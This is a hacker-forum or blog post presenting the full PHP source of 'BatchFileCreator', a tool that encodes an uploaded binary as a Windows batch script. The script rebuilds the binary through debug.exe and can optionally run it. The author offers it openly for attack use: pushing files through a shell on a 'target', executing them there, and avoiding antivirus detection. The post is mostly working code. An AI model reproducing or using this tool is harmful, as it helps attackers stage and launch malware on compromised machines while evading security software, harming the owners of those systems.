<strong>PHP BatchFileCreator (batch program that makes and execute a program)<br><br style="font-weight: normal;"><span style="font-weight: normal;">If you have a shell, and you want to send a file, you need to use FTP to process it, or to try to compile it there.. anyway, this code, will generate a batch file that will create the specifie
<span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"></span></span></span></span>d file and optionally execute it.<br><br>It is usefull to any person that wants to:
<br><br>1.- Encrypt a<span style="font-weight: bold;"> </span>file content, or avoid Antivirus detection.<br>2.- Make a batch file that serves as an installation program.<br>3.- Create a binary program at an ASCII (plain text) windows shell.
<span style="font-weight: bold;"> </span></span><br style="font-weight: normal;"><br style="font-weight: normal;"></strong>Steps for making your batch programs:<br>
1.- Send the file to <a href="http://sirdarckcat.awardspace.com/BFC.php" target="_blank">http://sirdarckcat.awardspace.com/BFC.php</a><br>
2.- Download the batch file that it will create.<br>
3.- Execute it in your target.<br>
<br>The source code of the PHP program is this:<br><font style="font-family: courier new,monospace;" size="1"></font><pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 498px; text-align: left;">
<?php<br>/**<br>* Batch File Creator<br>* By SirDarckCat from <a href="http://elhacker.net">elhacker.net</a><br>* Program distributed under the GNU - GPL License<br>**/<br>if(isset($_FILES['attachment']['name']) && $_FILES['attachment']['size']<=65535){
<br>if ($_FILES['attachment']['size']==0){<br>        echo "PHP.INI settings, doesn?t allow me to process your file, or you did something wrong\r\n";<br>exit;<br>}<br>header("Content-Type: text/plain");
<br>header("Content-Disposition: attachment;filename=\"BFC".rand(0,5012).".bat\"");<br>        $rn=$_FILES['attachment']['name'];<br>        $tn="s".rand(0,100)."x.txt";
<br>        $z=(isset($_REQUEST['autostart']))?"start $rn":"EXIT";<br>        $x=file_get_contents($_FILES['attachment']['tmp_name']);<br>        echo "@echo off\r\n<br>        REM BatchFileCreator 0.1
<br>        REM         By SirDarckCat from <a href="http://elhacker.net">elhacker.net</a><br>        REM Visit <a href="http://sirdarckcat.googlepages.com/bfc">http://sirdarckcat.googlepages.com/bfc</a><br>\r\n:rx<br>\r\nif EXIST shell.x (<br>
        echo Loading..<br>        start \"Loading..\" /MIN /WAIT cmd /C debug^<shell.x<br>        if EXIST \"$rn\" (<br>                del \"$rn\"<br>        )<br>        ren $tn,\"$rn\"<br>        start cmd /C del shell.x<br>        $z<br>
        goto:EOF<br>) ELSE (<br>        call:cds<br>        call:rx<br>        start cmd /C del shell.x<br>        goto:EOF<br>)<br>        \r\n:cds<br>        \r\necho n $tn >shell.x\r\ntype %~nx0|find \"e \"|find /v \"REM\">>shell.x\r\necho
rcx>>shell.x\r\necho ".base_convert(strlen($x),10,16).">>shell.x\r\necho w".((isset($_REQUEST['binary']))?"0":" ")." >>shell.x\r\necho q>>shell.x\r\ngoto:EOF\r\n
";<br>        <br>        $bin=(isset($_REQUEST['binary']))?0:256;<br>        <br>        for ($i=$bin;$i<strlen($x)+$bin;$i++){<br>                if (!($i%16)){<br>                        echo "\r\ne ".base_convert($i,10,16)." ";<br>                }<br>                echo substr("00".base_convert(ord($x[$i-$bin]),10,16),-2)." ";
<br>        }<br>        echo "\r\n REM EOF\r\n";<br>}else if (isset($_FILES['attachment']['name']) && $_FILES['attachment']['size']>65535){<br>        header("Content-Type: text/plain");
<br>        header("Content-Disposition: attachment;filename=\"BFC".rand(0,5012).".bat\"");<br>        @ob_start('ob_gzhandler'); // This are larger files, so we better compress them :P<br>        $tn="s".rand(0,100);
<br>        $rn=$_FILES['attachment']['name'];<br>        $m=file_get_contents($_FILES['attachment']['tmp_name']);<br>        $xx=strlen($m)/65000;<br>        $z=(isset($_REQUEST['autostart']))?"start \"\" \"$rn\"":"EXIT";
<br>        echo "@echo off<br><br>                REM BatchFileCreator 0.1<br>                REM         By SirDarckCat from <a href="http://elhacker.net">elhacker.net</a><br>                REM Visit <a href="http://sirdarckcat.googlepages.com/bfc">http://sirdarckcat.googlepages.com/bfc
</a><br>                <br>        IF \"%~1\"==\"\" (<br>                echo Loading..<br>                start \"Loading..\" /MIN /WAIT cmd /C \"%~nx0 xD\"^|debug<br>                copy /Y /B $tn.*,\"$rn\"<br>                del $tn.*<br>                $z<br>
        ) ELSE (\r\n";<br>                for ($j=0;$j<$xx;$j++){<br>                        $x=substr($m,$j*65000,65000);<br>                        echo "echo n $tn.p$j";<br>                        $sl=strlen($x);<br>                        for ($i=0;$i<$sl;$i++){<br>                                if (!($i%16)){<br>                                        echo "\r\necho e ".base_convert($i,10,16)." ";
<br>                                }<br>                                echo substr("00".base_convert(ord($x[$i]),10,16),-2)." ";<br>                        }<br>                        <br>                        echo "\r\necho rcx\r\n";<br>                        echo "echo ".base_convert(strlen($x),10,16)."\r\n";
<br>                        echo "echo w 0\r\n";<br>                }<br>                echo "echo q\r\n";<br>        echo ")";<br>}else{<br>        ?><br><html><br><head><br><title>BatchFileCreator 0.1 by sirdarckcat</title><br>
</head><br><body>        <br>        <center><br>        <h1>BatchFileCreator 0.1</h1><br>        <h3>by sirdarckcat</h3><br>        <h5><a href="http://elhacker.net">elhacker.net</a></h5></center>
<br>        <hr><br>        <pre><br>                With this program you can create a batch file that when is executed, will generate<br>                and (optionally) execute a binary file.<br>                <br>                Select the file you want to upload, then submit. With a very large file your
<br>                computer may be unable to process it. (MaxSize: 2 MegaBytes)<br>        </pre><table align=center><br>        <form method=POST ENCTYPE="multipart/form-data" action="?download"><br>        <input type=checkbox name=autostart value=1> - Autostart when is created?<br>
<br>        <input type=checkbox name=binary value=1> - Binary?<br><br>        File: <input type=file name=attachment> <br></table><br>        <hr><center><br>        <input type=submit></center>
<br>        </form><br></body><br></html><br>        <?php<br>}<br>?></pre><font style="font-family: courier new,monospace;" size="1"></font><br clear="all">Hope its usefull :)<br><br>Greetz!!<br>-- <br>Att.<br>
<a href="mailto:SirDarckCat@GMail.com">SirDarckCat@GMail.com</a><br><br><a href="http://www.google.com/search?q=sirdarckcat">http://www.google.com/search?q=sirdarckcat</a>